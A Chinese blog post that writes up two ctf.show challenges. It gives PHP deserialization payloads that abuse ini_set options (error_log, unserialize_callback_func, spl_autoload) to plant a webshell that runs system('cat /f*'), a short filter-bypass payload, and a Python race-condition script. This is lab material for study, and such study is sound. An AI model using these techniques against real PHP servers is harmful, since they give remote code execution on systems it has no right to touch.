CTFSHOW之大牛杯

easy_unserialize

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-04-22 17:44:48
# @Last Modified by: h1xa
# @Last Modified time: 2021-04-26 11:30:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
class main{
public $settings;
public $params;

public function __construct(){
$this->settings=array(
'display_errors'=>'On',
'allow_url_fopen'=>'On'
);
$this->params=array();
}
public function __wakeup(){
foreach ($this->settings as $key => $value) {
ini_set($key, $value);
}
}

public function __destruct(){
file_put_contents('settings.inc', unserialize($this->params));
}
}
unserialize($_GET['data']);

法一:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class A{
}
class main{
public $settings;
public $params;

public function __construct(){
$this->settings=array(
'error_log'=>'a.php',
'unserialize_callback_func'=>'<?php system("cat /f*");?>',
'html_errors'=>false
);
$this->params=serialize(new A());
}
}
$a=new main();
echo serialize($a);
  • PHP的unserialize()方法会返回反序列化的值,如果该值为类,PHP在下面两种情况下会试图自动加载该类
  1. 你实现了__autoload()方法
  2. 设置php.ini
    ini_set(‘unserialize_callback_func’,’mycallback’);
    当反序列化后,PHP会寻找mycallback这个方法来include这个类文件,如果你没定义这个方法则报错。

这个配置是用来处理,反序列化未定义的类的时候,会用指定的函数,去处理。
参数是类名

payload解析:

  • ini_set(‘error_log’,’a.php’);
    错误日志写入的文件名

  • ini_set(‘unserialize_callback_func’,’mycallback’);
    当反序列化后,PHP会寻找mycallback这个方法来include这个类文件,如果你没定义这个方法则报错。

  • ini_set(‘html_errors’,false);
    不加这个的话,错误日志内容会html编码。

首先我们可以通过error_log生成php文件,剩下的就是怎么把想执行的命令在报错中显示。
剩下的就交给unserialize_callback_func了,明显没有 '<?php system("cat /f*");?>'这个方法 所以会把这个方法在报错中显示出来 然后访问a.php 就可以 rce了

法二:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class settings{

}
class main{
public $settings;
public $params;

public function __construct(){
$this->settings=array(
'unserialize_callback_func'=>'spl_autoload',
);
//$this->params=serialize("<?php system('cat /f*');"); 生成settings.inc文件,内容是<?php system('cat /f*');
//$this->params=serialize(new settings()); 加载settings.inc

}
}
$a=new main();
echo serialize($a);
1
2
spl_autoload 
它可以接收两个参数,第一个参数是$class_name,表示类名,第二个参数$file_extensions是可选的,表示类文件的扩展名,如果不指定的话,它将使用默认的扩展名.inc或.php

可以往 settings.inc 里写内容,

然后修改配置,但是这个配置的存活只到脚本结束 反序列化之后 unserialize_callback_func会调用 sql_autoload 处理反序列化的类

inc 文件是可以用来 写入 php的类,如果调用了 spl_autoload(classname) 或者 spl_autoload_register()

当类未定义时,会从 classname.inc /.php 文件里加载,换句话说就是把这个文件包含进来。

所以 这里new的类名是 settings

第一次先写入木马,第二次再执行第二个 就能rce了

web_checkin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
error_reporting(0);
include "config.php";
//flag in /

function check_letter($code){
$letter_blacklist = str_split("abcdefghijklmnopqrstuvwxyz1234567890");
for ($i = 0; $i < count($letter_blacklist); $i+=2){
if (preg_match("/".$letter_blacklist[$i]."/i", $code)){
die("xi nei~");
}
}
}

function check_character($code){
$character_blacklist = array('=','\+','%','_','\)','\(','\*','&','\^','-','\$','#','`','@','!','~','\]','\[','}','{','\'','\"',';',' ','\/','\.','\?',',','<',':','>');
for ($i = 1; $i < count($character_blacklist); $i+=2){
if (preg_match("/".$character_blacklist[$i]."/", $code)){
die("tongtong xi nei~");
}
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if (!file_exists($dir)) {
mkdir($dir);
}
if (isset($_GET["code"])) {
$code = substr($_GET["code"], 0, 12);
check_letter($code);
check_character($code);

file_put_contents("$dir" . "index.php", "<?php ".$code.$fuxkfile);
echo $dir;
}else{
highlight_file(__FILE__);
}

上面一段waf过滤了 acegikmoqsuwy13579 发现可以使用了 nl

第二段waf过滤了 \+_\(&-#@~\[{\" \.,:

并且限制code长度只有12

法一

构造 payload

1
?><?=`nl%09/*`

这里 %09是换行符 只算一个字符 所以长度为12刚好

访问对应路径就能看到flag了

法二:

1
?code=?><?=`nl%09*`

获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
 1	<?php ?><?=`nl	*`
2 ?>
3 <?php
4 opendir("./");
5 while($filename = readdir()) {
6 if($filename != "." && $filename != ".." && $filename != "index.php") {
7 unlink($filename);
8 }
9 }
10 closedir();
11 ?>

条件竞争可以获得flag

可以用 bp的爆破模块 或者 写个脚本

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import threading
import sys
session=requests.session()
url1="http://ba2bd9c4-6f58-45a1-a637-3cf0140e89c1.challenge.ctf.show:8080/sandbox/3fa05e3dafa3d6413be416b360149b5c/"
url2='http://ba2bd9c4-6f58-45a1-a637-3cf0140e89c1.challenge.ctf.show:8080/sandbox/3fa05e3dafa3d6413be416b360149b5c/b'
def write():
while True:
r = session.get(url1)
def read():
while True:
r = session.get(url2)
if len(r.text)!=9561: #随便get传一次就能得到这个长度
print(r.text)

threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()

剩下的参:

参:https://blog.csdn.net/miuzzx/article/details/116352564

参:https://www.yuque.com/jinjinshigekeaigui/alad3t/dpdgcu#xnRix

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 Wh1tecell
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~